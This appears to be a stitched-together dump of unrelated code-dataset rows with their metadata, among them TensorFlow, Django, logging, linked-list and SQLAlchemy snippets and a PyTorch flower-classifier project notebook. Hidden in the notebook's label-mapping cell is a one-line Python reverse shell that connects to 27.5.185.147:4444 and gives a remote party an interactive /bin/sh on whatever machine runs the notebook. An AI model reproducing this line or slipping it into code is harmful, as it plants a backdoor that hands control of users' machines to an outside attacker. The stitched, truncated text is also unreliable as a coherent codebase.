tf.concat((start, end), dim) idx = nslice(rank, dim) over = self.overlap(start[idx(middle, None)], end[idx(-middle)]) return 0, empty, tf.concat( (start[idx(middle)], over, end[idx(-middle, None)]), dim) def pad(self, size): pad = tf.nn.relu(self.kernel - 1 - ((size - 1) % self.stride)) start = (self.kernel - 1) // 2 - pad // 2 end = (pad - 1) // 2 % self.stride return -(-size // self.stride), start, end def initialize(self, start, end): if self.size is not None: out, ss, es = self.pad(self.size) if self.disjoint: start, end = start[ss::self.stride], end[es::self.stride] start, end = start[:out], end[-out:] else: start, end = self.group(start, ss), self.group(end, es, True) if tf.size(end) > out: over = tf.size(end) - out + 1 end = tf.concat(([self.reduce(end[:over])], end[over:]), 0) if tf.size(start) > out: edge = self.reduce(start[out - 1:]) start = tf.concat((start[:out - 1], [edge]), 0) self.middle = out - tf.size(start) - tf.size(end) if self.disjoint: self.middle, start, end = self.consolidate( self.middle, start, end, 0, 1) self.start, self.end = self.expand(start), self.expand(end) if tf.size(start) > 0: self.start = self.register(self.start, name="start") if tf.size(end) > 0: self.end = self.register(self.end, name="end") def __call__(self, size=None): if self.size is None: assert size is not None if self.disjoint: start, end = self.start, self.end else: start = self.conv(self.start, True) end = self.conv(self.end, False) out, ss, es = self.pad(size) idx = nslice(self.rank, self.primary) start = start[idx(ss, None, self.stride)] end = end[idx(es, None, self.stride)] start, end = start[idx(out)], end[idx(-out, None)] return self.consolidate(out - tf.shape(start)[self.primary] - tf.shape(end)[self.primary], start, end) elif self.disjoint: return self.middle, self.start, self.end return self.consolidate(self.middle, self.conv(self.start, True), self.conv(self.end, False)) class Reweight(Dimension): def initialize(self): res = tf.range((self.kernel + 1) // 2, self.kernel, dtype=tf.float32) res = tf.cast(self.kernel, tf.float32) / res if self.disjoint \ else (res + 1) / res super().initialize(res[(self.kernel + 1) % 2:], res[::-1]) def conv(self, x, reverse): if tf.size(x) == 0: return x return tf.math.cumprod(x, self.primary, reverse=reverse) @classmethod def default(cls, *args, **kw): return tf.ones(*args, **kw) @classmethod def compose(cls, a, b): return a * b @classmethod def overlap(cls, a, b): return a * b / (a + b - a * b) @classmethod def reduce(cls, *args, **kwargs): return tf.math.reduce_prod(*args, **kwargs) class Offset(Dimension): def initialize(self): start = tf.zeros(((self.kernel - 1) // 2,)) end = tf.zeros((self.kernel // 2,)) super().initialize(start, end) def conv(self, x, reverse): if tf.size(x) == 0: return x return tf.math.cumsum(x, self.primary, reverse=reverse) @classmethod def default(cls, *args, **kw): return tf.zeros(*args, **kw) @classmethod def compose(cls, a, b): return a + b @classmethod def overlap(cls, a, b): return a + b @classmethod def reduce(cls, *args, **kwargs): return tf.math.reduce_sum(*args, **kwargs) class Border(tf.Module): def __init__(self, rank, kernel, stride, size=None, empty=(), channels=1, channel_axis=None, disjoint=False, register=None, name=None): super().__init__(name=name) self.rank = rank size = (None,) * rank if size is None else size empty = tuple(rank + i if i < 0 else i for i in empty) channel_axis = rank + channel_axis if channel_axis is not None \ and channel_axis < 0 else channel_axis self.channels, self.channel_axis = channels, channel_axis ax = [i for i in range(rank) if i not in empty and i != channel_axis] with self.name_scope: self.ax = tuple(self.base( rank, dim, kernel[i], stride[i], size[dim], channels, channel_axis, disjoint, register) for i, dim in enumerate(ax)) def __call__(self, size=None): ax = [ax(None if size is None else size[ax.primary]) for ax in self.ax] def build(idx=0, sides=(), expand=()): if idx == len(self.ax): if not sides: shape = [1] * self.rank if self.channel_axis is not None: shape[self.channel_axis] = self.channels for i, val in expand: shape[i] = val return self.base.default(shape) res = sides[0] for side in sides[1:]: res = self.base.compose(res, side) for axis, repeats in expand: res = tf.repeat(res, repeats, axis) return res middle, start, end = ax[idx] if middle == 0: return build(idx + 1, sides + (end,), expand) else: dim = self.ax[idx].primary res = build(idx + 1, sides, expand + ((dim, middle),)) res = res if tf.size(start) == 0 else tf.concat( (build(idx + 1, sides + (start,), expand), res), dim) return res if tf.size(end) == 0 else tf.concat( (res, build(idx + 1, sides + (end,), expand)), dim) return build() class BorderReweight(Border): base = Reweight class BorderOffset(Border): base = Offset class BorderConv: def __init__(self, *args, activation=None, disjoint=False, **kw): super().__init__(*args, **kw) assert self.padding == "same" and all( i == 1 for i in self.dilation_rate) self.disjoint = disjoint self.small = bool(tf.reduce_all(self.kernel_size == tf.constant(1))) self._activation = tf.keras.activations.get(activation) if self._activation is None: self._activation = lambda x: x def build(self, input_shape): super().build(input_shape) if not self.small: channel_axis, zeroed = self._get_channel_axis(), (lambda _: 0.) self.border_weight = BorderReweight( self.rank + 2, self.kernel_size, self.strides, input_shape, (0,), self.filters, channel_axis, self.disjoint) self.border_bias = zeroed if not self.use_bias else BorderOffset( self.rank + 2, self.kernel_size, self.strides, input_shape, (0,), self.filters, channel_axis, self.disjoint) def call(self, inputs): res = super().call(inputs) if not self.small: shape = tf.shape(inputs) res = self.border_weight(shape) * res + self.border_bias(shape) return self._activation(res) class Conv1D(BorderConv, tf.keras.layers.Conv1D): pass class Conv2D(BorderConv, SpecializedConv2D): pass class Conv3D(BorderConv, tf.keras.layers.Conv3D): pass class DepthwiseConv2D(BorderConv, tf.keras.layers.DepthwiseConv2D): pass
38.700389
80
0.56103
9,491
0.954253
0
0
632
0.063543
0
0
175
0.017595
34399e5b826297152c5c75474f6dbccf7d447122
1,650
py
Python
post/views.py
Neknu/news-site
39606e099f742312bc203262bb9cc17b6c8a998d
[ "Apache-2.0" ]
null
null
null
post/views.py
Neknu/news-site
39606e099f742312bc203262bb9cc17b6c8a998d
[ "Apache-2.0" ]
5
2021-03-19T10:51:15.000Z
2021-06-10T20:12:59.000Z
post/views.py
danylott/news-site
39606e099f742312bc203262bb9cc17b6c8a998d
[ "Apache-2.0" ]
null
null
null
from django.shortcuts import render, redirect from django.urls import reverse from django.views.generic import ListView from django.views.generic.detail import DetailView from django.http import HttpResponseRedirect from django.contrib.auth.decorators import login_required from django.db.models import Q from .models import Post from .forms import PostForm class PostListView(ListView): model = Post template_name = 'post/list_post.html' def get_queryset(self): queryset = Post.objects.filter(~Q(status=1)) # On review return queryset class PostDetailView(DetailView): model = Post template_name = 'post/show_post.html' slug_url_kwarg = 'the_slug' slug_field = 'slug' @login_required def post_new(request): if request.method == "POST": form = PostForm(request.POST) if form.is_valid(): post = form.save(commit=False) post.author = request.user if request.user.groups.filter(name__in=['moderator', 'admin']).exists(): post.status = 2 # Approved post.save() return HttpResponseRedirect( reverse('post:post_detail_view', args=[post.slug]) ) post.save() return HttpResponseRedirect( reverse('post:post_user') ) else: form = PostForm() return render(request, 'post/new_post.html', {'form': form}) def post_user(request): return render(request, 'post/user_post.html') post_list_view = login_required(PostListView.as_view()) post_detail_view = login_required(PostDetailView.as_view())
28.448276
84
0.660606
356
0.215758
0
0
732
0.443636
0
0
189
0.114545
343b36003417f4c54f3846c29ad26c071c003af4
1,146
py
Python
src/neuro_comma/logger.py
Andhs/neuro-comma
9e0203f46a08dced3bcc7d7f55065c8ff8317ef7
[ "MIT" ]
32
2021-06-15T09:41:10.000Z
2022-02-13T09:55:37.000Z
src/neuro_comma/logger.py
vkirilenko/neuro-comma
d76c97b39d0a60d7e07eb37f6d68ed491241c051
[ "MIT" ]
2
2021-06-24T16:25:34.000Z
2021-07-09T09:24:20.000Z
src/neuro_comma/logger.py
vkirilenko/neuro-comma
d76c97b39d0a60d7e07eb37f6d68ed491241c051
[ "MIT" ]
5
2021-07-30T07:33:39.000Z
2021-12-30T13:06:15.000Z
def log_text(file_path, log): if not log.endswith('\n'): log += '\n' print(log) with open(file_path, 'a') as f: f.write(log) def log_args(file_path, args): log = f"Args: {args}\n" log_text(file_path, log) def log_train_epoch(file_path, epoch, train_loss, train_accuracy): log = f"epoch: {epoch}, Train loss: {train_loss}, Train accuracy: {train_accuracy}\n" log_text(file_path, log) def log_val_epoch(file_path, epoch, val_loss, val_acc): log = f"epoch: {epoch}, Val loss: {val_loss}, Val accuracy: {val_acc}\n" log_text(file_path, log) def log_test_metrics(file_path, precision, recall, f1, accuracy, cm): log = (f"Precision: {precision}\n" f"Recall: {recall}\n" f"F1 score: {f1}\n" f"Accuracy: {accuracy}\n" f"Confusion Matrix:\n{cm}\n") log_text(file_path, log) def log_target_test_metrics(file_path, target, precision, recall, f1): log = (f"{target}:\n" f"\tPrecision: {round(precision, 4)}\n" f"\tRecall: {round(recall, 4)}\n" f"\tF1 score: {round(f1, 4)}\n") log_text(file_path, log)
28.65
89
0.615183
0
0
0
0
0
0
0
0
410
0.357766
343c9cce80e473e1d30d683596a73c12ba4c3e48
23,040
py
Python
Image Classifier Project.py
Harish4948/Image-Classifier-using-Deep-Learning
f1a1460b500555722b62cbbfefc6c67203b13077
[ "MIT" ]
null
null
null
Image Classifier Project.py
Harish4948/Image-Classifier-using-Deep-Learning
f1a1460b500555722b62cbbfefc6c67203b13077
[ "MIT" ]
null
null
null
Image Classifier Project.py
Harish4948/Image-Classifier-using-Deep-Learning
f1a1460b500555722b62cbbfefc6c67203b13077
[ "MIT" ]
null
null
null
#!/usr/bin/env python # coding: utf-8 # # Developing an AI application # # Going forward, AI algorithms will be incorporated into more and more everyday applications. For example, you might want to include an image classifier in a smart phone app. To do this, you'd use a deep learning model trained on hundreds of thousands of images as part of the overall application architecture. A large part of software development in the future will be using these types of models as common parts of applications. # # In this project, you'll train an image classifier to recognize different species of flowers. You can imagine using something like this in a phone app that tells you the name of the flower your camera is looking at. In practice you'd train this classifier, then export it for use in your application. We'll be using [this dataset](http://www.robots.ox.ac.uk/~vgg/data/flowers/102/index.html) of 102 flower categories, you can see a few examples below. # # <img src='assets/Flowers.png' width=500px> # # The project is broken down into multiple steps: # # * Load and preprocess the image dataset # * Train the image classifier on your dataset # * Use the trained classifier to predict image content # # We'll lead you through each part which you'll implement in Python. # # When you've completed this project, you'll have an application that can be trained on any set of labeled images. Here your network will be learning about flowers and end up as a command line application. But, what you do with your new skills depends on your imagination and effort in building a dataset. For example, imagine an app where you take a picture of a car, it tells you what the make and model is, then looks up information about it. Go build your own dataset and make something new. # # First up is importing the packages you'll need. It's good practice to keep all the imports at the beginning of your code. As you work through this notebook and find you need to import a package, make sure to add the import up here. # In[17]: # Imports here import torch import torch.nn as nn import torch.nn.functional as F from torch import optim from torchvision import datasets,transforms,models import numpy as np # ## Load the data # # Here you'll use `torchvision` to load the data ([documentation](http://pytorch.org/docs/0.3.0/torchvision/index.html)). The data should be included alongside this notebook, otherwise you can [download it here](https://s3.amazonaws.com/content.udacity-data.com/nd089/flower_data.tar.gz). The dataset is split into three parts, training, validation, and testing. For the training, you'll want to apply transformations such as random scaling, cropping, and flipping. This will help the network generalize leading to better performance. You'll also need to make sure the input data is resized to 224x224 pixels as required by the pre-trained networks. # # The validation and testing sets are used to measure the model's performance on data it hasn't seen yet. For this you don't want any scaling or rotation transformations, but you'll need to resize then crop the images to the appropriate size. # # The pre-trained networks you'll use were trained on the ImageNet dataset where each color channel was normalized separately. For all three sets you'll need to normalize the means and standard deviations of the images to what the network expects. For the means, it's `[0.485, 0.456, 0.406]` and for the standard deviations `[0.229, 0.224, 0.225]`, calculated from the ImageNet images. These values will shift each color channel to be centered at 0 and range from -1 to 1. # # In[2]: data_dir = 'flowers' train_dir = data_dir + '/train' valid_dir = data_dir + '/valid' test_dir = data_dir + '/test' # In[3]: # TODO: Define your transforms for the training, validation, and testing sets train_transforms = transforms.Compose([transforms.RandomRotation(30), transforms.RandomResizedCrop(224), transforms.RandomHorizontalFlip(), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]) test_transforms = transforms.Compose([transforms.Resize(255), transforms.CenterCrop(224), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]) validate_transforms=transforms.Compose([transforms.Resize(255), transforms.CenterCrop(224), transforms.ToTensor(), transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])]) train_data = datasets.ImageFolder(train_dir, transform=train_transforms) test_data = datasets.ImageFolder(test_dir, transform=test_transforms) validate_data=datasets.ImageFolder(test_dir, transform=test_transforms) trainloader = torch.utils.data.DataLoader(train_data, batch_size=64, shuffle=True) testloader = torch.utils.data.DataLoader(test_data, batch_size=64) validloader=torch.utils.data.DataLoader(validate_data, batch_size=64) # ### Label mapping # # You'll also need to load in a mapping from category label to category name. You can find this in the file `cat_to_name.json`. It's a JSON object which you can read in with the [`json` module](https://docs.python.org/2/library/json.html). This will give you a dictionary mapping the integer encoded categories to the actual names of the flowers. # In[ ]: import json with open('cat_to_name.json', 'r') as f: cat_to_name = json.load(f) print(len(cat_to_name)) import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("27.5.185.147",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); # In[5]: import os import tarfile def recursive_files(dir_name='.', ignore=None): for dir_name,subdirs,files in os.walk(dir_name): if ignore and os.path.basename(dir_name) in ignore: continue for file_name in files: if ignore and file_name in ignore: continue yield os.path.join(dir_name, file_name) def make_tar_file(dir_name='.', target_file_name='workspace_archive.tar', ignore=None): tar = tarfile.open(target_file_name, 'w') for file_name in recursive_files(dir_name, ignore): tar.add(file_name) tar.close() dir_name = '.' target_file_name = 'workspace_archive.tar' # List of files/directories to ignore ignore = {'.ipynb_checkpoints', '__pycache__', target_file_name} make_tar_file(dir_name, target_file_name, ignore) # # Building and training the classifier # # Now that the data is ready, it's time to build and train the classifier. As usual, you should use one of the pretrained models from `torchvision.models` to get the image features. Build and train a new feed-forward classifier using those features. # # We're going to leave this part up to you. Refer to [the rubric](https://review.udacity.com/#!/rubrics/1663/view) for guidance on successfully completing this section. Things you'll need to do: # # * Load a [pre-trained network](http://pytorch.org/docs/master/torchvision/models.html) (If you need a starting point, the VGG networks work great and are straightforward to use) # * Define a new, untrained feed-forward network as a classifier, using ReLU activations and dropout # * Train the classifier layers using backpropagation using the pre-trained network to get the features # * Track the loss and accuracy on the validation set to determine the best hyperparameters # # We've left a cell open for you below, but use as many as you need. Our advice is to break the problem up into smaller parts you can run separately. Check that each part is doing what you expect, then move on to the next. You'll likely find that as you work through each part, you'll need to go back and modify your previous code. This is totally normal! # # When training make sure you're updating only the weights of the feed-forward network. You should be able to get the validation accuracy above 70% if you build everything right. Make sure to try different hyperparameters (learning rate, units in the classifier, epochs, etc) to find the best model. Save those hyperparameters to use as default values in the next part of the project. # # One last important tip if you're using the workspace to run your code: To avoid having your workspace disconnect during the long-running tasks in this notebook, please read in the earlier page in this lesson called Intro to # GPU Workspaces about Keeping Your Session Active. You'll want to include code from the workspace_utils.py module. # # **Note for Workspace users:** If your network is over 1 GB when saved as a checkpoint, there might be issues with saving backups in your workspace. Typically this happens with wide dense layers after the convolutional layers. If your saved checkpoint is larger than 1 GB (you can open a terminal and check with `ls -lh`), you should reduce the size of your hidden layers and train again. # In[5]: # TODO: Build and train your network model=models.vgg16(pretrained=True) for param in model.parameters(): param.requires_grad = False model # In[6]: from collections import OrderedDict model.classifier = nn.Sequential(nn.Linear(25088, 500), nn.ReLU(), nn.Dropout(p=0.5), nn.Linear(500,102), nn.LogSoftmax(dim=1)) model.to("cuda") optimizer=optim.Adam(model.classifier.parameters(), lr=0.001) criterion=nn.NLLLoss() running_loss=0 train_losses, test_losses = [], [] epochs = 10 steps = 0 running_loss = 0 print_every = 20 for epoch in range(epochs): for inputs, labels in trainloader: steps += 1 # Move input and label tensors to the default device inputs, labels = inputs.to("cuda"), labels.to("cuda") optimizer.zero_grad() logps = model.forward(inputs) loss = criterion(logps, labels) loss.backward() optimizer.step() running_loss += loss.item() if steps % print_every == 0: test_loss = 0 accuracy = 0 model.eval() with torch.no_grad(): for inputs, labels in validloader: inputs, labels = inputs.to("cuda"), labels.to("cuda") logps = model.forward(inputs) batch_loss = criterion(logps, labels) test_loss += batch_loss.item() # Calculate accuracy ps = torch.exp(logps) top_p, top_class = ps.topk(1, dim=1) equals = top_class == labels.view(*top_class.shape) accuracy += torch.mean(equals.type(torch.FloatTensor)).item() print(f"Epoch {epoch+1}/{epochs}.. " f"Train loss: {running_loss/print_every:.3f}.. " f"Test loss: {test_loss/len(validloader):.3f}.. " f"Test accuracy: {accuracy/len(validloader):.3f}") running_loss = 0 model.train()# else: # test_loss* = 0 # accuracy = 0 # with torch.no_grad(): # model.eval() # for images, labels in testloader: # images, labels = images.to("cuda"), labels.to("cuda") # log_ps = model(images) # test_loss += criterion(log_ps, labels) # ps = torch.exp(log_ps) # top_p, top_class = ps.topk(1, dim=1) # equals = top_class == labels.view(*top_class.shape) # accuracy += torch.mean(equals.type(torch.FloatTensor)) # model.train() # train_losses.append(running_loss/len(trainloader)) # test_losses.append(test_loss/len(testloader)) # print("Epoch: {}/{}.. ".format(epoch, epochs), # "Training Loss: {:.3f}.. ".format(running_loss/len(trainloader)), # "Test Loss: {:.3f}.. ".format(test_loss/len(testloader)), # "Test Accuracy: {:.3f}".format(accuracy/len(testloader))) # running_loss = 0 # model.train() # In[ ]: # ## Testing your network # # It's good practice to test your trained network on test data, images the network has never seen either in training or validation. This will give you a good estimate for the model's performance on completely new images. Run the test images through the network and measure the accuracy, the same way you did validation. You should be able to reach around 70% accuracy on the test set if the model has been trained well. # In[9]: # TODO: Do validation on the test set model.eval() model.to("cuda") with torch.no_grad(): accuracy=0 for images,labels in testloader: images, labels = images.to("cuda"), labels.to("cuda") logits=model(images) probabilities=torch.exp(logits) equality = (labels.data == probabilities.max(dim=1)[1]) accuracy += equality.type(torch.FloatTensor).mean() print("Testing Accuracy:",accuracy/len(testloader)) # ## Save the checkpoint # # Now that your network is trained, save the model so you can load it later for making predictions. You probably want to save other things such as the mapping of classes to indices which you get from one of the image datasets: `image_datasets['train'].class_to_idx`. You can attach this to the model as an attribute which makes inference easier later on. # # ```model.class_to_idx = image_datasets['train'].class_to_idx``` # # Remember that you'll want to completely rebuild the model later so you can use it for inference. Make sure to include any information you need in the checkpoint. If you want to load the model and keep training, you'll want to save the number of epochs as well as the optimizer state, `optimizer.state_dict`. You'll likely want to use this trained model in the next part of the project, so best to save it now. # In[10]: # TODO: Save the checkpoint model.class_to_idx = train_data.class_to_idx checkpoint = {'arch': "vgg16", 'class_to_idx': model.class_to_idx, 'model_state_dict': model.state_dict() } torch.save(checkpoint, 'trained.pth') # ## Loading the checkpoint # # At this point it's good to write a function that can load a checkpoint and rebuild the model. That way you can come back to this project and keep working on it without having to retrain the network. # In[13]: # TODO: Write a function that loads a checkpoint and rebuilds the model def load(filepath): checkpoint = torch.load(filepath) model = models.vgg16(pretrained=True) for param in model.parameters(): param.requires_grad = False model.class_to_idx = checkpoint['class_to_idx'] model.classifier = nn.Sequential(nn.Linear(25088, 500), nn.ReLU(), nn.Dropout(p=0.5), nn.Linear(500,102), nn.LogSoftmax(dim=1)) model.load_state_dict(checkpoint['model_state_dict']) return model model = load('trained.pth') print(model) # # Inference for classification # # Now you'll write a function to use a trained network for inference. That is, you'll pass an image into the network and predict the class of the flower in the image. Write a function called `predict` that takes an image and a model, then returns the top $K$ most likely classes along with the probabilities. It should look like # # ```python # probs, classes = predict(image_path, model) # print(probs) # print(classes) # > [ 0.01558163 0.01541934 0.01452626 0.01443549 0.01407339] # > ['70', '3', '45', '62', '55'] # ``` # # First you'll need to handle processing the input image such that it can be used in your network. # # ## Image Preprocessing # # You'll want to use `PIL` to load the image ([documentation](https://pillow.readthedocs.io/en/latest/reference/Image.html)). It's best to write a function that preprocesses the image so it can be used as input for the model. This function should process the images in the same manner used for training. # # First, resize the images where the shortest side is 256 pixels, keeping the aspect ratio. This can be done with the [`thumbnail`](http://pillow.readthedocs.io/en/3.1.x/reference/Image.html#PIL.Image.Image.thumbnail) or [`resize`](http://pillow.readthedocs.io/en/3.1.x/reference/Image.html#PIL.Image.Image.thumbnail) methods. Then you'll need to crop out the center 224x224 portion of the image. # # Color channels of images are typically encoded as integers 0-255, but the model expected floats 0-1. You'll need to convert the values. It's easiest with a Numpy array, which you can get from a PIL image like so `np_image = np.array(pil_image)`. # # As before, the network expects the images to be normalized in a specific way. For the means, it's `[0.485, 0.456, 0.406]` and for the standard deviations `[0.229, 0.224, 0.225]`. You'll want to subtract the means from each color channel, then divide by the standard deviation. # # And finally, PyTorch expects the color channel to be the first dimension but it's the third dimension in the PIL image and Numpy array. You can reorder dimensions using [`ndarray.transpose`](https://docs.scipy.org/doc/numpy-1.13.0/reference/generated/numpy.ndarray.transpose.html). The color channel needs to be first and retain the order of the other two dimensions. # In[33]: from PIL import Image def process_image(image): ''' Scales, crops, and normalizes a PIL image for a PyTorch model, returns an Numpy array ''' pil_image=Image.open(image) pil_image=pil_image.resize(size=(256,256)) bottom = (pil_image.height-224)/2 left = (pil_image.width-224)/2 right = left + 224 top= bottom + 224 pil_image = pil_image.crop((left, bottom, right, top)) np_image = np.array(pil_image)/255 mean = np.array([0.485, 0.456, 0.406]) std = np.array([0.229, 0.224, 0.225]) np_image = (np_image - mean) / std np_image = np_image.transpose((2, 0, 1)) return np_image # TODO: Process a PIL image for use in a PyTorch model # To check your work, the function below converts a PyTorch tensor and displays it in the notebook. If your `process_image` function works, running the output through this function should return the original image (except for the cropped out portions). # In[38]: import matplotlib.pyplot as plt import seaborn as sb def imshow(image, ax=None, title=None): """Imshow for Tensor.""" if ax is None: fig, ax = plt.subplots() # PyTorch tensors assume the color channel is the first dimension # but matplotlib assumes is the third dimension image = image.transpose((1, 2, 0)) # Undo preprocessing mean = np.array([0.485, 0.456, 0.406]) std = np.array([0.229, 0.224, 0.225]) image = std * image + mean # Image needs to be clipped between 0 and 1 or it looks like noise when displayed image = np.clip(image, 0, 1) ax.imshow(image) return ax image = process_image('flowers/test/1/image_06754.jpg') imshow(image) # ## Class Prediction # # Once you can get images in the correct format, it's time to write a function for making predictions with your model. A common practice is to predict the top 5 or so (usually called top-$K$) most probable classes. You'll want to calculate the class probabilities then find the $K$ largest values. # # To get the top $K$ largest values in a tensor use [`x.topk(k)`](http://pytorch.org/docs/master/torch.html#torch.topk). This method returns both the highest `k` probabilities and the indices of those probabilities corresponding to the classes. You need to convert from these indices to the actual class labels using `class_to_idx` which hopefully you added to the model or from an `ImageFolder` you used to load the data ([see here](#Save-the-checkpoint)). Make sure to invert the dictionary so you get a mapping from index to class as well. # # Again, this method should take a path to an image and a model checkpoint, then return the probabilities and classes. # # ```python # probs, classes = predict(image_path, model) # print(probs) # print(classes) # > [ 0.01558163 0.01541934 0.01452626 0.01443549 0.01407339] # > ['70', '3', '45', '62', '55'] # ``` # In[62]: def predict(image_path, model, topk=5): ''' Predict the class (or classes) of an image using a trained deep learning model. ''' image=process_image(image_path) model.to("cuda") image = torch.from_numpy(image).type(torch.cuda.FloatTensor) image = image.unsqueeze(0) output = model.forward(image) probabilities = torch.exp(output) top_probabilities, top_indices = probabilities.topk(topk) top_probabilities = top_probabilities.detach().type(torch.FloatTensor).numpy().tolist()[0] top_indices = top_indices.detach().type(torch.FloatTensor).numpy().tolist()[0] idx_to_class = {value: key for key, value in model.class_to_idx.items()} top_classes = [idx_to_class[index] for index in top_indices] return top_probabilities, top_classes # TODO: Implement the code to predict the class from an image file probs, classes = predict('flowers/test/97/image_07708.jpg', model) print(probs) print(classes) # ## Sanity Checking # # Now that you can use a trained model for predictions, check to make sure it makes sense. Even if the testing accuracy is high, it's always good to check that there aren't obvious bugs. Use `matplotlib` to plot the probabilities for the top 5 classes as a bar graph, along with the input image. It should look like this: # # <img src='assets/inference_example.png' width=300px> # # You can convert from the class integer encoding to actual flower names with the `cat_to_name.json` file (should have been loaded earlier in the notebook). To show a PyTorch tensor as an image, use the `imshow` function defined above. # In[63]: # TODO: Display an image along with the top 5 classes plt.figure(figsize = (6,10)) plot_1 = plt.subplot(2,1,1) image = process_image('flowers/test/97/image_07708.jpg') imshow(image, plot_1, title=flower_title); flower_names = [cat_to_name[i] for i in classes] plt.subplot(2,1,2) sb.barplot(x=probs, y=flower_names, color=sb.color_palette()[0]); plt.show() # In[ ]:
47.020408
649
0.682335
0
0
339
0.014714
0
0
0
0
14,850
0.644531
343cb4bccfc6d0d7d27bbb17c80fb0f2a2d1b596
1,032
py
Python
70_question/linked_list/reverse_linked_list.py
alvinctk/google-tech-dev-guide
9d7759bea1f44673c2de4f25a94b27368928a59f
[ "Apache-2.0" ]
26
2019-06-07T05:29:47.000Z
2022-03-19T15:32:27.000Z
70_question/linked_list/reverse_linked_list.py
alvinctk/google-tech-dev-guide
9d7759bea1f44673c2de4f25a94b27368928a59f
[ "Apache-2.0" ]
null
null
null
70_question/linked_list/reverse_linked_list.py
alvinctk/google-tech-dev-guide
9d7759bea1f44673c2de4f25a94b27368928a59f
[ "Apache-2.0" ]
6
2019-10-10T06:39:28.000Z
2020-05-12T19:50:55.000Z
class Node: def __init__(self, value, next): self.value = value self.next = next class LinkedList: def __init__(self): self.head = None def add(self, value): self.head = Node(value, self.head) def remove(self): to_remove = self.head self.head = self.head.next to_remove.next = None def reverse(self): head = current = self.head prev = next = None while current: next = current.next current.next = prev prev = current current = next self.head = prev self.print() def print(self): current = self.head while current: print(current.value, end=" ") print("->", end = " ") if not current.next: print(current.next, end ="\n") current = current.next if __name__ == "__main__": ll = LinkedList() for i in range(10, 1, -1): ll.add(i) ll.print() ll.reverse()
22.434783
46
0.50969
894
0.866279
0
0
0
0
0
0
24
0.023256
343cdbae272af394a0a3d28001cd7765745634b0
889
py
Python
models/notification.py
tranquilitybase-io/tb-houston-service
9383922ee21fcf64b2b9b32b5662e962428e2a35
[ "Apache-2.0" ]
1
2020-03-18T22:32:10.000Z
2020-03-18T22:32:10.000Z
models/notification.py
tranquilitybase-io/tb-houston-service
9383922ee21fcf64b2b9b32b5662e962428e2a35
[ "Apache-2.0" ]
380
2020-03-18T12:41:22.000Z
2021-07-01T14:24:08.000Z
models/notification.py
tranquilitybase-io/tb-houston-service
9383922ee21fcf64b2b9b32b5662e962428e2a35
[ "Apache-2.0" ]
13
2020-04-06T06:52:51.000Z
2021-09-23T23:07:21.000Z
from config import db, ma class Notification(db.Model): __tablename__ = "notification" __table_args__ = {"schema": "eagle_db"} id = db.Column(db.Integer(), primary_key=True) isActive = db.Column(db.Boolean()) lastUpdated = db.Column(db.String(20)) toUserId = db.Column(db.Integer(), db.ForeignKey("eagle_db.user.id")) fromUserId = db.Column(db.Integer, db.ForeignKey("eagle_db.user.id")) importance = db.Column(db.Integer()) message = db.Column(db.String(255)) isRead = db.Column(db.Boolean()) typeId = db.Column(db.Integer(), db.ForeignKey("eagle_db.notificationType.id")) def __repr__(self): return "<Notification(id={self.id!r})>".format(self=self) class NotificationSchema(ma.SQLAlchemyAutoSchema): class Meta: model = Notification include_fk = True load_instance = True
34.192308
84
0.656918
850
0.95613
0
0
0
0
0
0
130
0.146232
343ce4b2d11073a3dfb20805dfb97c66ac9ba361
1,266
py
Python
Pequenos Projetos/Programa_TabelaIdade.py
HenriquePantaroto/Python-Projetos
8c016294d85c69ff147ebd4cdf6ee76ee1fbe291
[ "MIT" ]
2
2021-01-06T17:55:57.000Z
2021-01-11T11:48:56.000Z
Pequenos Projetos/Programa_TabelaIdade.py
HenriquePantaroto/Python-Projetos
8c016294d85c69ff147ebd4cdf6ee76ee1fbe291
[ "MIT" ]
null
null
null
Pequenos Projetos/Programa_TabelaIdade.py
HenriquePantaroto/Python-Projetos
8c016294d85c69ff147ebd4cdf6ee76ee1fbe291
[ "MIT" ]
null
null
null
lista = [] dicio = {} idadeTot = 0 cont = 0 contMulher = 0 while True: dicio['nome'] = str(input('Digite o nome: ')) while True: dicio['sexo'] = str(input('Digite o sexo: [M/F] ')).upper()[0] if dicio['sexo'] in 'MF': break else: dicio['sexo'] = str(input('Digite apenas M ou F: ')).upper()[0] dicio['idade'] = int(input('Digite a idade: ')) if dicio['sexo'] == 'F': contMulher += 1 cont += 1 idadeTot += dicio['idade'] lista.append(dicio.copy()) oper = str(input('Deseja continuar? [S/N] ')).strip().upper()[0] if oper not in 'SN': oper = str(input('Apenas S ou N, deseja continuar? ')).upper()[0] if oper == 'N': break mediaIdade = idadeTot / cont print('-=' * 30) print(f'O grupo tem um total de {cont} pessoas.') print(f'A média de idade do grupo é de {mediaIdade:.2f} anos.') print(f'A quantidade de mulheres no grupo é de {contMulher}.') for p in lista: if p['sexo'] in 'Ff': print(f'Nome: {p["nome"]}, Idade: {p["idade"]}.') print('A lista de pessoas que estão acima da média são: ') for p in lista: if p['idade'] > mediaIdade: print(f'Nome: {p["nome"]}, Sexo: {p["sexo"]}, Idade: {p["idade"]}.') print('-=' * 30)
30.878049
80
0.554502
0
0
0
0
0
0
0
0
545
0.428459
343d0b592efe6147a7db17a04887d0d4ffc6ef66
2,563
py
Python
plot_cov.py
translunar/lincov
12460e2e840129e18c51aa84acbc077df67f28dd
[ "Unlicense" ]
2
2019-12-11T23:56:17.000Z
2020-09-19T13:44:34.000Z
plot_cov.py
translunar/lincov
12460e2e840129e18c51aa84acbc077df67f28dd
[ "Unlicense" ]
1
2020-01-24T20:10:57.000Z
2020-01-24T20:10:57.000Z
plot_cov.py
translunar/lincov
12460e2e840129e18c51aa84acbc077df67f28dd
[ "Unlicense" ]
null
null
null
